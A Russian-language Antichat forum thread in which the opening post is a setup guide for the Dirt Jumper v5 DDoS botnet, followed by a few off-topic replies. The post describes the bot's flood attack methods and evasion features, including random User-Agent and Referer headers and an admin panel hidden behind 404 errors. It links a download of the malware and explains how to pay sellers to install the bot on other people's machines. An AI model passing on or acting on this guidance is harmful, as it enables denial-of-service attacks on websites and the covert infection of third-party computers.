HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.09.2013, 01:00
MaCroSs
Постоянный
Регистрация: 01.04.2012
Сообщений: 796
С нами: 7428566

Репутация: 61


По умолчанию

Привет форумчане,сегодня мы с вами будет ставить DJ v5.

DDoS (сокр. от англ. Distributed Denial of Service, Распределённый отказ от обслуживания) — изначально тип сетевой атаки, основанной на небезграничности ресурсов атакуемой службы, к которой организуется масса запросов, с которыми она заведомо не сможет справиться, и будет вынуждена отказать в обслуживании (либо заставить ждать неприемлемо долго), собственно, отсюда и название. Иногда слово применяется к аналогичным ситуациям в оффлайне.

Семейство Dirt jumper http://www.dataprotectioncenter.com/...t-Jumper-7.jpg

Билдер: IMAGE http://savepic.su/1487857.png

Админка: IMAGE http://savepic.su/1489905.png

Бот Dirt jumper имеет на своём борту 4 типа атаки.

Рассмотрим каждый из них подробнее:
HTTP flood: Данный тип атаки позволяет вызвать перегрузку сервера за счёт частых, многократных запросов обычными http пакетами.
Фишка данного метода в том, что ответ от сервера не принимается, то есть бот ожидает ответа, как только сервер готов отвечать бот рвёт коннект и посылает новый запрос.
Плюсы - Высокая скорость запросов, огромная нагрузка на сервер, и полное отсуцтвие входящего трафика, что позволяет делать больше запросов в одну единицу времени.
Минусы - нет возможности сгенерировать большой пакет отправляемых данных, но на мой взгляд это и не требуется (при не большом канале инета за счёт маленького размера пакета, отправляется больше запросов в одну единицу времени), так что это можно даже отнести к плюсам.

Synchronous flood: Данный метод атаки эффективен только при потоках более 150. Бот делает запрос одновременно всеми потоками. Ждёт, пока сервер ответит всем потокам, и повторяет процедуру по кругу.
По сути, в основе данной атаки лежит первый метод.
Плюсы - В одну единицу времени вызывается нагрузка большая, чем первым способом
Минусы - При таком подходе во время выполнения запросов машина жертвы подвисает. И если инет или комп слабый может вообще подвесить машину.
Так-же на сервер не ведётся постоянной атаки, что при низком количестве ботов недопустимо.

Downloading flood:
А этот метод позволяет забить канал жертвы трафиком.
Бот выкачивает заданную картинку. Может качать всё, начиная от .exe заканчивая html кодом любой странички.
Плюсы - Огромная нагрузка на канал, возможность загружать любую инфу.
Минусы - Скорость запросов ниже, чем при первом методе, может забить канал жертвы, и бот временно выбивается из онлайна, так как из-за загрузки не сможет даже отстучать на сервер.

POST flood: А это, на мой взгляд, один из самых офигенных методов атаки!
Бот может делать GET и POST запросы одновременно!
То есть он может отправлять рандомные логины и пароли в форму, вызывая огромнейшую нагрузку на сервер: БД, буфер обмена, процессор.
Плюсы - данный метод позволяет забивать канал входящим трафиком, даёт самую большую нагрузку на сервер из всех других типов.
Минусы - Скорость запросов ниже, чем при первом методе, может забить канал исходящим трафиком, но размер пакетов вы указываете при составлении команды.

С типами атак разобрались, двигаемся дальше.

Общие характеристики бота:
1. Многопоточная атака!
2. Количество потоков и тип атаки вы может менять во время атаки, не останавливая её!
3. Бот хорошо кладет http и https.
4. Бот может атаковать по domain : port ; ftp,http, и так далее.
5. Можно атаковать одновременно до 999 сайтов.
6. Бот рандомно меняет User Agent.
7. Бот рандомно меняет Referer.
8. Есть возможность блокировки доступа к админ-панели по IP.
9. Все файлы админки при переходе на них показывают ошибку 404.
10. Даже файл админки будет показывать ошибку 404 пока вы не укажите верный get-пароль.
Пример: GET-пароль "passwd" (указывается в конфиге) при переходе по адресу
admin.php?login=pass - Будет ошибка 404, как и при любом не верном значении
admin.php?login=passwd - Будет форма авторизации
11. Статистика онлайна и общего количества ботов по странам.
Также хочется сказать пару слов о системе управлении ботом.
1. Удобная и красивая админка.
2. Не нужно заморачиваться с командами, прописал сайт, указал потоки, выбрал тип атаки, нажал старт и готово!

Видео по установке: http://www.youtube.com/watch?v=PHs6QsVKxls [►]
Скачать Dirt Jumper: http://www.sendspace.com/file/70sq1s

Где взять ботов для атаки?
Купить https://hpc.name/forumdisplay.php?f=144

Загрузки предполагают:
1. Селлер вам сделает тест 20-50-100 ботов.
2. Далее вы оплачиваете селлеру за определенное количество загрузок,которое вам нужно.
3. Далее твой exe-файл подгружается на n-ное кол-во машин
4. Он запускается на этих машинах (в идеале, другие файлы на эти машины уже не подгружаются.

ЗЫы,думал видос свой сделать,но хостинга нету

Установка DJ v3 и DJ v5 одинакова.
 
Ответить с цитированием

  #2  
Старый 22.05.2014, 01:00
ooork
Новичок
Регистрация: 22.05.2014
Сообщений: 2
С нами: 6303926

Репутация: 0
По умолчанию

он на семерке не робит...
 
Ответить с цитированием

  #3  
Старый 22.05.2014, 01:00
softkom
Постоянный
Регистрация: 10.11.2009
Сообщений: 569
С нами: 8685686

Репутация: 134


По умолчанию

Цитата:

Сообщение от ooork

он на семерке не робит...

Археолог смотри дату поста
 
Ответить с цитированием

  #4  
Старый 17.06.2014, 01:00
sT1myL
Познающий
Регистрация: 31.07.2010
Сообщений: 51
С нами: 8306966

Репутация: 9
По умолчанию

Цитата:

Сообщение от softkom

Археолог смотри дату поста

ну, 23 сентября 2013 года , пару месяцев назад
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.